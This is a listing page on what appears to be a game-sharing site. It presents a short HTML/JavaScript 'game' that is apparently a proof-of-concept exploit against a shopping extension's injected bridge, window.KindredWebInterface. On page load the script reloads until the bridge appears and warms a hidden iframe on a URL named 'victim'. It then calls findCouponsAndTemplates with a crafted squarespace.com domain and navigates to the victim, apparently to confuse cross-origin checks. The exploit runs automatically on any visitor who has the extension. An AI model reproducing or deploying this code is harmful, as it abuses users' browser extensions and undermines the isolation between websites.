🎮ArcadeLab

Kindred document.domain validation

by AtomicGecko56
43 lines1.4 KB
▶ Play
<!doctype html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Kindred document.domain validation</title>
<p id="status">Waiting for the Smart Shopping interface…</p>
<script>
(() => {
  const victim = 'https://arcadelab.ai/api/render/cross-origin-principal-indicator-sparkrider27';
  const status = document.querySelector('#status');
  const key = 'kindred-domain-test-reloads';
  const bridge = window.KindredWebInterface;

  if (!bridge || typeof bridge.findCouponsAndTemplates !== 'function') {
    const reloads = Number(sessionStorage.getItem(key) || 0);
    if (reloads < 2) {
      sessionStorage.setItem(key, String(reloads + 1));
      setTimeout(() => location.reload(), 1400);
    } else {
      status.textContent = 'Interface unavailable.';
    }
    return;
  }

  sessionStorage.removeItem(key);
  status.textContent = 'Warming the cross-origin victim…';
  const warmup = document.createElement('iframe');
  warmup.hidden = true;
  warmup.src = victim;
  warmup.onload = () => {
    const marker = Date.now();
    status.textContent = 'Queued; navigating to the victim…';
    bridge.findCouponsAndTemplates(
      `kindred-domain-${marker}.squarespace.com`,
      JSON.stringify({ url: location.href, sequence: 0 }),
      'proof',
      41
    );
    location.replace(victim);
  };
  document.body.append(warmup);
})();
</script>

Game Source: Kindred document.domain validation

Creator: AtomicGecko56

Libraries: none

Complexity: simple (43 lines, 1.4 KB)

The full source code is displayed above on this page.

Remix Instructions

To remix this game, copy the source code above and modify it. Add a ARCADELAB header at the top with "remix_of: kindred-document-domain-validation-atomicgecko56" to link back to the original. Then publish at arcadelab.ai/publish.